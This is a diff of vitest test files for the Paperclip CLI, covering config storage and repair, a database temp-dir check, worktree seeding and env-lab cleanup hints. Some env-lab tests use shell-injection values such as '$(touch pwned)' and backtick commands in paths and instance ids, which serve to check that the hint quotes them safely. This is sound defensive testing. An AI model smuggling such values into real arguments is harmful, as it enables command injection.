reason: "replace strategy" }, { slug: "ops", id: null, action: "skipped", name: "Ops", reason: "skip strategy" }, ], + skills: [ + { + originalKey: "company/source/review", + originalSlug: "review", + key: "company/target/review-2", + slug: "review-2", + id: "skill-1", + action: "renamed", + reason: "rename strategy", + }, + ], projects: [ { slug: "app", id: "project-1", action: "created", name: "App", reason: null }, { slug: "ops", id: "project-2", action: "updated", name: "Operations", reason: "replace strategy" }, @@ -525,8 +536,10 @@ describe("renderCompanyImportResult", () => { expect(rendered).toContain("Company"); expect(rendered).toContain("https://paperclip.example/PAP/dashboard"); expect(rendered).toContain("3 agents total (1 created, 1 updated, 1 skipped)"); + expect(rendered).toContain("1 skill total (1 renamed)"); expect(rendered).toContain("3 projects total (1 created, 1 updated, 1 skipped)"); expect(rendered).toContain("Agent results"); + expect(rendered).toContain("Skill results"); expect(rendered).toContain("Project results"); expect(rendered).toContain("Using claude-local adapter"); expect(rendered).toContain("Review API keys"); diff --git a/cli/src/__tests__/config-store.test.ts b/cli/src/__tests__/config-store.test.ts new file mode 100644 index 00000000000..21abb4bf60e --- /dev/null +++ b/cli/src/__tests__/config-store.test.ts @@ -0,0 +1,139 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import { + backupInvalidConfig, + readConfig, + writeConfig, +} from "../config/store.js"; +import { paperclipConfigSchema, type PaperclipConfig } from "../config/schema.js"; + +const roots: string[] = []; + +afterEach(() => { + vi.restoreAllMocks(); + for (const root of roots.splice(0)) { + fs.rmSync(root, { recursive: true, force: true }); + } +}); + +function createConfigPath(): string { + const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-config-store-")); + roots.push(root); + return path.join(root, "config.json"); +} + +function defaultConfig(): PaperclipConfig { + return paperclipConfigSchema.parse({ + $meta: { + version: 1, + updatedAt: "2026-08-06T00:00:00.000Z", + source: "configure", + }, + database: { mode: "embedded-postgres" }, + logging: { mode: "file" }, + server: {}, + }); +} + +describe("config store", () => { + it("preserves top-level and nested extension keys during a known-field update", () => { + const configPath = createConfigPath(); + fs.writeFileSync(configPath, JSON.stringify({ + ...defaultConfig(), + topLevelExtension: { enabled: true }, + server: { + ...defaultConfig().server, + serverExtension: "keep", + }, + storage: { + ...defaultConfig().storage, + localDisk: { + ...defaultConfig().storage.localDisk, + driverExtension: "keep", + }, + }, + }, null, 2)); + + const source = readConfig(configPath)!; + const { topLevelExtension: _topLevelExtension, ...knownConfig } = source; + const { serverExtension: _serverExtension, ...knownServer } = source.server; + const { driverExtension: _driverExtension, ...knownLocalDisk } = source.storage.localDisk; + const update: PaperclipConfig = { + ...knownConfig, + server: { + ...knownServer, + port: 3200, + }, + storage: { + ...source.storage, + localDisk: knownLocalDisk, + }, + }; + + expect(writeConfig(update, configPath)).toBe(true); + expect(JSON.parse(fs.readFileSync(configPath, "utf8"))).toMatchObject({ + topLevelExtension: { enabled: true }, + server: { + port: 3200, + serverExtension: "keep", + }, + storage: { + localDisk: { + driverExtension: "keep", + }, + }, + }); + }); + + it("skips semantic no-op writes and keeps the config mtime stable", () => { + const configPath = createConfigPath(); + const source = defaultConfig(); + fs.writeFileSync(configPath, `${JSON.stringify(source, null, 2)}\n`); + const stableTime = new Date("2020-01-01T00:00:00.000Z"); + fs.utimesSync(configPath, stableTime, stableTime); + + const update = { + ...source, + $meta: { + ...source.$meta, + source: "doctor" as const, + updatedAt: "2026-08-06T01:00:00.000Z", + }, + }; + + expect(writeConfig(update, configPath)).toBe(false); + expect(fs.statSync(configPath).mtimeMs).toBe(stableTime.getTime()); + expect(fs.existsSync(`${configPath}.backup`)).toBe(false); + }); + + it("backs up invalid bytes collision-safely and only replaces them through an atomic repair", () => { + const configPath = createConfigPath(); + const invalidBytes = Buffer.from('{"server": invalid}\n', "utf8"); + fs.writeFileSync(configPath, invalidBytes); + fs.writeFileSync(`${configPath}.invalid-1`, "existing backup"); + + const open = vi.spyOn(fs, "openSync"); + const sync = vi.spyOn(fs, "fsyncSync"); + const backupPath = backupInvalidConfig(configPath); + expect(backupPath).toBe(`${configPath}.invalid-2`); + expect(fs.readFileSync(backupPath)).toEqual(invalidBytes); + expect(open).toHaveBeenCalledWith(backupPath, "r"); + expect(open).toHaveBeenCalledWith(path.dirname(configPath), "r"); + expect(sync).toHaveBeenCalled(); + expect(() => writeConfig(defaultConfig(), configPath)).toThrow(/Refusing to overwrite invalid config/); + expect(fs.readFileSync(configPath)).toEqual(invalidBytes); + + open.mockClear(); + sync.mockClear(); + const rename = vi.spyOn(fs, "renameSync"); + expect(writeConfig(defaultConfig(), configPath, { invalidBackupPath: backupPath })).toBe(true); + expect(rename).toHaveBeenCalledWith(expect.stringMatching(/config\.json\.tmp-\d+-\d+$/), configPath); + expect(open).toHaveBeenCalledWith(path.dirname(configPath), "r"); + expect(open.mock.invocationCallOrder.at(-1)!).toBeGreaterThan(rename.mock.invocationCallOrder.at(-1)!); + expect(sync.mock.invocationCallOrder.at(-1)!).toBeGreaterThan(open.mock.invocationCallOrder.at(-1)!); + expect(readConfig(configPath)).not.toBeNull(); + expect(fs.readdirSync(path.dirname(configPath)).some((entry) => entry.includes(".tmp-"))).toBe(false); + }); +}); diff --git a/cli/src/__tests__/configure-repair.test.ts b/cli/src/__tests__/configure-repair.test.ts new file mode 100644 index 00000000000..8ffe3834695 --- /dev/null +++ b/cli/src/__tests__/configure-repair.test.ts @@ -0,0 +1,83 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import * as prompts from "@clack/prompts"; +import { configure } from "../commands/configure.js"; +import { readConfig } from "../config/store.js"; + +vi.mock("@clack/prompts", () => ({ + intro: vi.fn(), + outro: vi.fn(), + cancel: vi.fn(), + confirm: vi.fn(), + select: vi.fn(), + isCancel: vi.fn(() => false), + log: { + error: vi.fn(), + message: vi.fn(), + step: vi.fn(), + success: vi.fn(), + warn: vi.fn(), + }, +})); + +vi.mock("../prompts/server.js", () => ({ + promptServer: vi.fn(async ({ currentServer, currentAuth }) => ({ + server: currentServer, + auth: currentAuth, + })), +})); + +const ORIGINAL_EXIT_CODE = process.exitCode; +let originalStdinIsTTY: boolean | undefined; +let originalStdoutIsTTY: boolean | undefined; + +beforeEach(() => { + originalStdinIsTTY = process.stdin.isTTY; + originalStdoutIsTTY = process.stdout.isTTY; + Object.defineProperty(process.stdin, "isTTY", { configurable: true, value: true }); + Object.defineProperty(process.stdout, "isTTY", { configurable: true, value: true }); + vi.mocked(prompts.confirm).mockResolvedValue(true); + vi.spyOn(console, "log").mockImplementation(() => undefined); +}); + +afterEach(() => { + Object.defineProperty(process.stdin, "isTTY", { + configurable: true, + value: originalStdinIsTTY, + }); + Object.defineProperty(process.stdout, "isTTY", { + configurable: true, + value: originalStdoutIsTTY, + }); + process.exitCode = ORIGINAL_EXIT_CODE; + vi.restoreAllMocks(); +}); + +describe("configure invalid-config repair", () => { + it("repairs only after confirmation and commits the staged config atomically", async () => { + const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-configure-repair-")); + const configPath = path.join(root, "config.json"); + const invalidBytes = Buffer.from('{"server": invalid}\n', "utf8"); + fs.writeFileSync(configPath, invalidBytes); + const rename = vi.spyOn(fs, "renameSync"); + + try { + await configure({ config: configPath, section: "server" }); + + expect(prompts.confirm).toHaveBeenCalledWith({ + message: `Repair from defaults? The invalid original is backed up at ${configPath}.invalid-1.`, + initialValue: false, + }); + expect(fs.readFileSync(`${configPath}.invalid-1`)).toEqual(invalidBytes); + expect(readConfig(configPath)).not.toBeNull(); + expect(rename).toHaveBeenCalledWith( + expect.stringMatching(/config\.json\.tmp-\d+-\d+$/), + configPath, + ); + } finally { + fs.rmSync(root, { recursive: true, force: true }); + } + }); +}); diff --git a/cli/src/__tests__/configure.test.ts b/cli/src/__tests__/configure.test.ts index 74a37fc8fcc..cbd7016879d 100644 --- a/cli/src/__tests__/configure.test.ts +++ b/cli/src/__tests__/configure.test.ts @@ -96,4 +96,29 @@ describe("configure command", () => { fs.rmSync(root, { recursive: true, force: true }); } }); + + it("backs up invalid config bytes and refuses non-interactive replacement", async () => { + const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-configure-invalid-")); + const configPath = path.join(root, "config.json"); + const invalidBytes = Buffer.from('{"server": invalid}\n', "utf8"); + const stdinDescriptor = Object.getOwnPropertyDescriptor(process.stdin, "isTTY"); + fs.writeFileSync(configPath, invalidBytes); + Object.defineProperty(process.stdin, "isTTY", { configurable: true, value: false }); + + try { + await configure({ config: configPath, section: "server" }); + + expect(process.exitCode).toBe(1); + expect(fs.readFileSync(configPath)).toEqual(invalidBytes); + expect(fs.readFileSync(`${configPath}.invalid-1`)).toEqual(invalidBytes); + expect(fs.existsSync(`${configPath}.backup`)).toBe(false); + } finally { + if (stdinDescriptor) { + Object.defineProperty(process.stdin, "isTTY", stdinDescriptor); + } else { + delete (process.stdin as { isTTY?: boolean }).isTTY; + } + fs.rmSync(root, { recursive: true, force: true }); + } + }); }); diff --git a/cli/src/__tests__/database-check.test.ts b/cli/src/__tests__/database-check.test.ts new file mode 100644 index 00000000000..51c42cf7717 --- /dev/null +++ b/cli/src/__tests__/database-check.test.ts @@ -0,0 +1,79 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import { databaseCheck } from "../checks/database-check.js"; +import type { PaperclipConfig } from "../config/schema.js"; + +const created: string[] = []; +const ORIGINAL_IN_WORKTREE = process.env.PAPERCLIP_IN_WORKTREE; + +function makeBase(): string { + const base = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-dbcheck-")); + created.push(base); + return base; +} + +function embeddedConfig(dataDir: string): PaperclipConfig { + return { + database: { + mode: "embedded-postgres", + embeddedPostgresDataDir: dataDir, + embeddedPostgresPort: 54321, + }, + } as unknown as PaperclipConfig; +} + +afterEach(() => { + vi.restoreAllMocks(); + if (ORIGINAL_IN_WORKTREE === undefined) delete process.env.PAPERCLIP_IN_WORKTREE; + else process.env.PAPERCLIP_IN_WORKTREE = ORIGINAL_IN_WORKTREE; + while (created.length > 0) { + const dir = created.pop(); + if (dir) fs.rmSync(dir, { recursive: true, force: true }); + } +}); + +describe("databaseCheck — embedded postgres temp-dir guard", () => { + it("passes when the data dir is on persistent (non-temp) storage", async () => { + const base = makeBase(); + // Treat a sibling dir as the OS temp root so the persistent dir is outside it. + vi.spyOn(os, "tmpdir").mockReturnValue(path.join(base, "fake-tmp")); + process.env.PAPERCLIP_IN_WORKTREE = "true"; + const persistentDataDir = path.join(base, "persistent", "instances", "default", "db"); + + const result = await databaseCheck(embeddedConfig(persistentDataDir), path.join(base, "config.json")); + + expect(result.status).toBe("pass"); + expect(result.message).toContain("Embedded PostgreSQL configured at"); + }); + + it("warns when a worktree-mode data dir lives inside the OS temp directory", async () => { + const base = makeBase(); + const fakeTmp = path.join(base, "fake-tmp"); + vi.spyOn(os, "tmpdir").mockReturnValue(fakeTmp); + process.env.PAPERCLIP_IN_WORKTREE = "true"; + const tmpDataDir = path.join(fakeTmp, "instances", "default", "db"); + + const result = await databaseCheck(embeddedConfig(tmpDataDir), path.join(base, "config.json")); + + expect(result.status).toBe("warn"); + expect(result.message).toMatch(/temp directory/i); + expect(result.message).toMatch(/ephemeral/i); + expect(result.repairHint).toContain("PAPERCLIP_HOME"); + // Must warn BEFORE creating anything — don't bootstrap the throwaway temp dir. + expect(fs.existsSync(tmpDataDir)).toBe(false); + }); + + it("does NOT warn for a temp data dir when not in worktree mode (intentional ephemeral/CI use)", async () => { + const base = makeBase(); + const fakeTmp = path.join(base, "fake-tmp"); + vi.spyOn(os, "tmpdir").mockReturnValue(fakeTmp); + delete process.env.PAPERCLIP_IN_WORKTREE; + const tmpDataDir = path.join(fakeTmp, "instances", "default", "db"); + + const result = await databaseCheck(embeddedConfig(tmpDataDir), path.join(base, "config.json")); + + expect(result.status).toBe("pass"); + }); +}); diff --git a/cli/src/__tests__/env-lab.test.ts b/cli/src/__tests__/env-lab.test.ts index 02d6d7daf18..144311a3511 100644 --- a/cli/src/__tests__/env-lab.test.ts +++ b/cli/src/__tests__/env-lab.test.ts @@ -1,6 +1,13 @@ import path from "node:path"; -import { describe, expect, it } from "vitest"; -import { collectEnvLabDoctorStatus, resolveEnvLabSshStatePath } from "../commands/env-lab.js"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import * as p from "@clack/prompts"; +import { + buildEnvLabCleanupCommand, + collectEnvLabDoctorStatus, + envLabDoctorCommand, + resolveEnvLabCliInvocation, + resolveEnvLabSshStatePath, +} from "../commands/env-lab.js"; describe("env-lab command", () => { it("resolves the default SSH fixture state path under the instance root", () => { @@ -22,3 +29,259 @@ describe("env-lab command", () => { expect(status.ssh.environment).toBeNull(); }); }); + +describe("env-lab cleanup command hint", () => { + const originalCwd = process.cwd(); + + afterEach(() => { + process.chdir(originalCwd); + }); + + // Resolve a source-checkout invocation for a fabricated checkout root. A source + // checkout runs this module from `/src/commands/env-lab.ts`, so the + // resolver reads that layout and returns the tsx runner and source entry. + function sourceInvocation(root: string) { + return resolveEnvLabCliInvocation(path.join(root, "src", "commands", "env-lab.ts")); + } + + // Resolve a bundled-build invocation for a fabricated package root. The bundled + // build runs this module from `/dist/index.js`, so the resolver returns + // that file as the entry with no tsx runner. + function bundledInvocation(root: string) { + return resolveEnvLabCliInvocation(path.join(root, "dist", "index.js")); + } + + // Split a command that uses POSIX single-quoting into its argument tokens. The + // parser reads a single-quoted span verbatim and reads `\'` outside a span as a + // literal single quote. This is the same rule a POSIX shell obeys, so a token + // list proves the shell reads the exact paths and runs no embedded command. + function tokenizePosix(command: string): string[] { + const tokens: string[] = []; + let current = ""; + let started = false; + let inQuotes = false; + for (let index = 0; index < command.length; index += 1) { + const character = command[index]; + if (inQuotes) { + if (character === "'") { + inQuotes = false; + } else { + current += character; + } + } else if (character === "'") { + inQuotes = true; + started = true; + } else if (character === "\\") { + index += 1; + current += command[index]; + started = true; + } else if (character === " ") { + if (started) { + tokens.push(current); + current = ""; + started = false; + } + } else { + current += character; + started = true; + } + } + if (started) { + tokens.push(current); + } + return tokens; + } + + // Return the two path arguments from the `node` command. + function extractPaths(command: string): string[] { + const tokens = tokenizePosix(command); + return tokens.slice(1, 3); + } + + it("resolves both CLI paths to absolute paths", () => { + const command = buildEnvLabCleanupCommand(); + const paths = extractPaths(command); + + expect(paths).toHaveLength(2); + for (const resolved of paths) { + expect(path.isAbsolute(resolved)).toBe(true); + } + expect(command.endsWith("env-lab down")).toBe(true); + }); + + it("points at the checked-out tsx runner and cli source entry", () => { + const [tsxBin, entry] = extractPaths(buildEnvLabCleanupCommand()); + + expect(tsxBin).toContain( + path.join("cli", "node_modules", "tsx", "dist", "cli.mjs"), + ); + expect(entry).toContain(path.join("cli", "src", "index.ts")); + }); + + it("returns the same command from a checkout subdirectory", () => { + const fromRoot = buildEnvLabCleanupCommand(); + + // Simulate a contributor who runs `env-lab doctor` from a subdirectory of + // the checkout. A relative path would change with the working directory, so + // this asserts the command stays constant. + process.chdir(path.dirname(originalCwd)); + const fromParent = buildEnvLabCleanupCommand(); + process.chdir(originalCwd); + + expect(fromParent).toBe(fromRoot); + }); + + it("never restores the unsafe pnpm invocation forms", () => { + const command = buildEnvLabCleanupCommand(); + + // The bare `pnpm paperclipai` script form is unsafe. The `pnpm exec` form + // does not resolve the CLI binary. Keep both out of the hint. + expect(command).not.toContain("pnpm paperclipai"); + expect(command).not.toContain("pnpm exec paperclipai"); + }); + + // A checkout path can hold shell metacharacters. A contributor copies the hint + // and pastes it into a shell. The hint must neutralize each metacharacter, so + // the shell reads the exact path and runs no embedded command. Each case below + // is a checkout root with one dangerous construct. + const dangerousRoots = [ + { label: "a dollar sign", root: "/tmp/env$lab/checkout" }, + { label: "command substitution", root: "/tmp/$(touch pwned)/checkout" }, + { label: "backticks", root: "/tmp/`touch pwned`/checkout" }, + { label: "a double quote", root: '/tmp/env"lab/checkout' }, + { label: "a single quote", root: "/tmp/env'lab/checkout" }, + ]; + + for (const { label, root } of dangerousRoots) { + it(`keeps a checkout path with ${label} inert in the cleanup hint`, () => { + const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation(root) }); + const tokens = tokenizePosix(command); + const tsxBin = path.join(root, "node_modules", "tsx", "dist", "cli.mjs"); + const entry = path.join(root, "src", "index.ts"); + + // The shell reads the exact paths as single argument tokens. It does not + // split the paths or run the embedded construct. + expect(tokens).toEqual(["node", tsxBin, entry, "env-lab", "down"]); + + // The old double-quoted form left `$(...)`, a backtick pair, and `$NAME` + // live. Do not restore it. + expect(command).not.toContain(`"${tsxBin}"`); + expect(command).not.toContain(`"${entry}"`); + }); + } + + it("forwards the inspected instance to the cleanup hint", () => { + const command = buildEnvLabCleanupCommand({ + instance: "fixture-test", + invocation: sourceInvocation("/tmp/checkout"), + }); + const tokens = tokenizePosix(command); + + // The hint ends with `--instance `, so it stops the fixture the doctor + // command diagnosed, not the default instance. + expect(tokens.slice(-2)).toEqual(["--instance", "fixture-test"]); + }); + + it("omits the instance flag when the doctor command uses the default instance", () => { + const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation("/tmp/checkout") }); + + // Without a selected instance, `env-lab down` resolves the same default + // instance the doctor command inspected. Do not add an empty flag. + expect(command).not.toContain("--instance"); + expect(command.endsWith("env-lab down")).toBe(true); + }); + + it("keeps an instance id with shell metacharacters inert", () => { + const command = buildEnvLabCleanupCommand({ + instance: "$(touch pwned)", + invocation: sourceInvocation("/tmp/checkout"), + }); + const tokens = tokenizePosix(command); + + // The shell reads the instance id as one literal token and runs no embedded + // command. + expect(tokens.slice(-2)).toEqual(["--instance", "$(touch pwned)"]); + expect(command).not.toContain('"$(touch pwned)"'); + }); + + it("runs the bundled dist entry directly, without the tsx runner", () => { + const command = buildEnvLabCleanupCommand({ + invocation: bundledInvocation("/opt/pkg"), + }); + const tokens = tokenizePosix(command); + + // The published package ships one `dist/index.js` file and no tsx runner, so + // node runs that file directly. + expect(tokens).toEqual(["node", path.join("/opt/pkg", "dist", "index.js"), "env-lab", "down"]); + expect(command).not.toContain("tsx"); + expect(command).not.toContain(path.join("src", "index.ts")); + }); + + it("keeps a bundled package path with shell metacharacters inert", () => { + const root = "/opt/$(touch pwned)/pkg"; + const command = buildEnvLabCleanupCommand({ invocation: bundledInvocation(root) }); + const tokens = tokenizePosix(command); + const entry = path.join(root, "dist", "index.js"); + + // The shell reads the exact bundled path as one token and runs no embedded + // command. + expect(tokens).toEqual(["node", entry, "env-lab", "down"]); + expect(command).not.toContain(`"${entry}"`); + }); +}); + +describe("env-lab doctor cleanup hint instance", () => { + const originalInstanceId = process.env.PAPERCLIP_INSTANCE_ID; + + afterEach(() => { + if (originalInstanceId === undefined) { + delete process.env.PAPERCLIP_INSTANCE_ID; + } else { + process.env.PAPERCLIP_INSTANCE_ID = originalInstanceId; + } + vi.restoreAllMocks(); + }); + + // Capture the cleanup hint the doctor prints. The doctor reports through + // `p.log`, so the test replaces each channel and reads the captured lines. + function captureDoctorMessages(): string[] { + const messages: string[] = []; + vi.spyOn(p.log, "message").mockImplementation((message?: string | string[]) => { + messages.push(Array.isArray(message) ? message.join("\n") : (message ?? "")); + }); + vi.spyOn(p.log, "success").mockImplementation(() => {}); + vi.spyOn(p.log, "warn").mockImplementation(() => {}); + vi.spyOn(p.log, "info").mockImplementation(() => {}); + return messages; + } + + it("pins the PAPERCLIP_INSTANCE_ID instance when opts.instance is absent", async () => { + // The doctor diagnoses the instance that `PAPERCLIP_INSTANCE_ID` selects. + // The cleanup hint must target that instance, not the default instance. + process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance"; + const messages = captureDoctorMessages(); + + await envLabDoctorCommand({ instance: undefined }); + + const cleanup = messages.find((message) => message.startsWith("Cleanup:")); + expect(cleanup).toBeDefined(); + expect(cleanup).toContain("env-lab down"); + expect(cleanup).toContain("--instance"); + expect(cleanup).toContain("env-selected-instance"); + }); + + it("pins the explicit instance over PAPERCLIP_INSTANCE_ID", async () => { + // An explicit `--instance` flag overrides the environment variable, so the + // hint targets the explicit instance the doctor inspected. + process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance"; + const messages = captureDoctorMessages(); + + await envLabDoctorCommand({ instance: "explicit-instance" }); + + const cleanup = messages.find((message) => message.startsWith("Cleanup:")); + expect(cleanup).toBeDefined(); + expect(cleanup).toContain("--instance"); + expect(cleanup).toContain("explicit-instance"); + expect(cleanup).not.toContain("env-selected-instance"); + }); +}); diff --git a/cli/src/__tests__/http.test.ts b/cli/src/__tests__/http.test.ts index 0829f06baa8..e0e1e61b747 100644 --- a/cli/src/__tests__/http.test.ts +++ b/cli/src/__tests__/http.test.ts @@ -79,7 +79,7 @@ describe("PaperclipApiClient", () => { /curl http:\/\/localhost:3100\/api\/health/, ); await expect(client.post("/api/companies/import/preview", {})).rejects.toThrow( - /pnpm dev|pnpm paperclipai run/, + /pnpm dev|npx paperclipai run/, ); }); diff --git a/cli/src/__tests__/onboard.test.ts b/cli/src/__tests__/onboard.test.ts index 33890e703de..59a578b1f86 100644 --- a/cli/src/__tests__/onboard.test.ts +++ b/cli/src/__tests__/onboard.test.ts @@ -8,6 +8,7 @@ import type { PaperclipConfig } from "../config/schema.js"; const ORIGINAL_ENV = { ...process.env }; const ORIGINAL_CWD = process.cwd(); const ORIGINAL_PATH = process.env.PATH; +const ORIGINAL_EXIT_CODE = process.exitCode; function createExistingConfigFixture() { const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-onboard-")); @@ -107,6 +108,7 @@ describe("onboard", () => { afterEach(() => { process.env = { ...ORIGINAL_ENV }; process.chdir(ORIGINAL_CWD); + process.exitCode = ORIGINAL_EXIT_CODE; }); it("preserves an existing config when rerun without flags", async () => { @@ -129,6 +131,20 @@ describe("onboard", () => { expect(fs.existsSync(path.join(path.dirname(fixture.configPath), ".env"))).toBe(true); }); + it("backs up invalid config bytes and refuses --yes replacement", async () => { + const configPath = createFreshConfigPath(); + const invalidBytes = Buffer.from('{"database": invalid}\n', "utf8"); + fs.mkdirSync(path.dirname(configPath), { recursive: true }); + fs.writeFileSync(configPath, invalidBytes); + + await onboard({ config: configPath, yes: true, invokedByRun: true }); + + expect(process.exitCode).toBe(1); + expect(fs.readFileSync(configPath)).toEqual(invalidBytes); + expect(fs.readFileSync(`${configPath}.invalid-1`)).toEqual(invalidBytes); + expect(fs.existsSync(`${configPath}.backup`)).toBe(false); + }); + it("keeps --yes onboarding on local trusted loopback defaults", async () => { const configPath = createFreshConfigPath(); process.env.HOST = "0.0.0.0"; diff --git a/cli/src/__tests__/secrets.test.ts b/cli/src/__tests__/secrets.test.ts index 295a8e5e036..8ae2a77ff5c 100644 --- a/cli/src/__tests__/secrets.test.ts +++ b/cli/src/__tests__/secrets.test.ts @@ -139,6 +139,9 @@ describe("secrets CLI helpers", () => { delete process.env.AWS_DEFAULT_REGION; delete process.env.PAPERCLIP_SECRETS_AWS_DEPLOYMENT_ID; delete process.env.PAPERCLIP_SECRETS_AWS_KMS_KEY_ID; + delete process.env.AWS_ACCESS_KEY_ID; + delete process.env.AWS_SECRET_ACCESS_KEY; + delete process.env.AWS_SESSION_TOKEN; }); afterEach(() => { diff --git a/cli/src/__tests__/skills.test.ts b/cli/src/__tests__/skills.test.ts index 038b9812f1b..80d0dd3c791 100644 --- a/cli/src/__tests__/skills.test.ts +++ b/cli/src/__tests__/skills.test.ts @@ -479,6 +479,8 @@ describe("skills CLI commands", () => { "review-prs", "--skill", "paperclip/qa", + "--mode", + "add", "--company-id", "company-1", "--api-base", @@ -498,7 +500,7 @@ describe("skills CLI commands", () => { "http://paperclip.test/api/agents/agent-1/skills/sync", expect.objectContaining({ method: "POST", - body: JSON.stringify({ desiredSkills: ["review-prs", "paperclip/qa"] }), + body: JSON.stringify({ desiredSkills: ["review-prs", "paperclip/qa"], mode: "add" }), }), ); expect(JSON.parse(String(logSpy.mock.calls[0]?.[0]))).toEqual(snapshot); diff --git a/cli/src/__tests__/worktree.test.ts b/cli/src/__tests__/worktree.test.ts index ce063abfd79..3e5d3444d42 100644 --- a/cli/src/__tests__/worktree.test.ts +++ b/cli/src/__tests__/worktree.test.ts @@ -8,29 +8,43 @@ import { eq } from "drizzle-orm"; import { afterEach, describe, expect, it, vi } from "vitest"; import { agents, + authAccounts, authUsers, companies, + companyMemberships, createDb, + executionWorkspaces, + inspectMigrations, issueComments, issues, + projectWorkspaces, + instanceUserRoles, projects, routines, routineTriggers, + workspaceRuntimeServices, } from "@paperclipai/db"; import { copyGitHooksToWorktreeGitDir, copySeededSecretsKey, + ensureEmbeddedPostgres, ensureWorktreeSeeded, + formatWorktreeSeedFailureDiagnostic, + inspectLegacyWorktreeDatabase, markWorktreeSeedPending, pauseSeededScheduledRoutines, quarantineSeededWorktreeExecutionState, + readWorktreeSeedManifest, readSourceAttachmentBody, rebindWorkspaceCwd, + requiresWorktreeSeedCredentialAccount, resolveSourceConfigPath, resolveWorktreeReseedSource, resolveWorktreeReseedTargetPaths, resolveGitWorktreeAddArgs, resolvePnpmInstallInvocation, + resolveCurrentWorktreeEndpoint, + resolveWorktreeSeedMigrationRevision, resolveWorktreeSeedBackupEngine, resolveWorktreeMakeTargetPath, worktreeRepairCommand, @@ -60,6 +74,94 @@ const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport(); const itEmbeddedPostgres = embeddedPostgresSupport.supported ? it : it.skip; const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip; +function mockVerifiedSeedResult() { + return { + backupSummary: "snapshot.sql", + snapshotAt: "2026-08-18T00:00:00.000Z", + migrationRevision: "0142_test.sql", + pausedScheduledRoutines: 0, + executionQuarantine: { + disabledTimerHeartbeats: 0, + resetRunningAgents: 0, + quarantinedInProgressIssues: 0, + unassignedTodoIssues: 0, + unassignedReviewIssues: 0, + stoppedProjectWorkspaceRuntimes: 0, + stoppedExecutionWorkspaceRuntimes: 0, + stoppedRuntimeServices: 0, + }, + reboundWorkspaces: [], + validation: { + authUserCount: 1, + credentialAccountCount: 1, + instanceAdminCount: 1, + activeMembershipCount: 1, + companyCount: 1, + issueCount: 1, + representativeCompanyId: "00000000-0000-4000-8000-000000000001", + representativeIssueId: "00000000-0000-4000-8000-000000000002", + migrationRevision: "0142_test.sql", + }, + }; +} + +async function seedValidWorktreeSource( + connectionString: string, + options: { includeCredentialAccount?: boolean; userId?: string } = {}, +) { + const db = createDb(connectionString); + const companyId = randomUUID(); + const issueId = randomUUID(); + const userId = options.userId ?? "user-existing"; + const now = new Date(); + await db.insert(authUsers).values({ + id: userId, + email: userId === "local-board" ? "local@paperclip.local" : "existing@paperclip.ing", + name: userId === "local-board" ? "Board" : "Existing User", + emailVerified: true, + createdAt: now, + updatedAt: now, + }); + if (options.includeCredentialAccount !== false) { + await db.insert(authAccounts).values({ + id: "credential-existing", + accountId: "existing@paperclip.ing", + providerId: "credential", + userId, + password: "fixture-password-hash", + createdAt: now, + updatedAt: now, + }); + } + await db.insert(instanceUserRoles).values({ + userId, + role: "instance_admin", + }); + await db.insert(companies).values({ + id: companyId, + name: "Seed Source", + issuePrefix: "SEED", + requireBoardApprovalForNewAgents: false, + }); + await db.insert(companyMemberships).values({ + companyId, + principalType: "user", + principalId: userId, + status: "active", + }); + await db.insert(issues).values({ + id: issueId, + companyId, + title: "Representative seed issue", + status: "backlog", + priority: "medium", + issueNumber: 1, + identifier: "SEED-1", + }); + await db.$client.end({ timeout: 5 }); + return { companyId, issueId }; +} + if (!embeddedPostgresSupport.supported) { console.warn( `Skipping embedded Postgres worktree CLI tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`, @@ -167,6 +269,49 @@ function buildSourceConfig(): PaperclipConfig { } describe("worktree helpers", () => { + it("uses the repo-local config for the current worktree", () => { + const targetRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-current-worktree-")); + try { + const localConfig = path.join(targetRoot, ".paperclip", "config.json"); + fs.mkdirSync(path.dirname(localConfig), { recursive: true }); + fs.writeFileSync(localConfig, "{}\n"); + process.env.PAPERCLIP_CONFIG = "/tmp/ambient-paperclip/config.json"; + process.chdir(targetRoot); + + expect(resolveCurrentWorktreeEndpoint()).toMatchObject({ + rootPath: targetRoot, + configPath: localConfig, + isCurrent: true, + }); + } finally { + process.chdir(ORIGINAL_CWD); + fs.rmSync(targetRoot, { recursive: true, force: true }); + } + }); + + it("uses the repository config from a nested working directory", () => { + const targetRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-current-worktree-nested-")); + try { + execFileSync("git", ["init", "-q"], { cwd: targetRoot }); + const nestedDirectory = path.join(targetRoot, "packages", "example", "src"); + const localConfig = path.join(targetRoot, ".paperclip", "config.json"); + fs.mkdirSync(nestedDirectory, { recursive: true }); + fs.mkdirSync(path.dirname(localConfig), { recursive: true }); + fs.writeFileSync(localConfig, "{}\n"); + process.env.PAPERCLIP_CONFIG = "/tmp/ambient-paperclip/config.json"; + process.chdir(nestedDirectory); + + expect(resolveCurrentWorktreeEndpoint()).toMatchObject({ + rootPath: targetRoot, + configPath: localConfig, + isCurrent: true, + }); + } finally { + process.chdir(ORIGINAL_CWD); + fs.rmSync(targetRoot, { recursive: true, force: true }); + } + }); + it("sanitizes instance ids", () => { expect(sanitizeWorktreeInstanceId("feature/worktree-support")).toBe("feature-worktree-support"); expect(sanitizeWorktreeInstanceId(" ")).toBe("worktree"); @@ -353,7 +498,134 @@ describe("worktree helpers", () => { expect(full.nullifyColumns).toEqual({}); }); - it("ensure-seeded seeds once and fast-exits on the seed-complete marker", async () => { + it("requires the 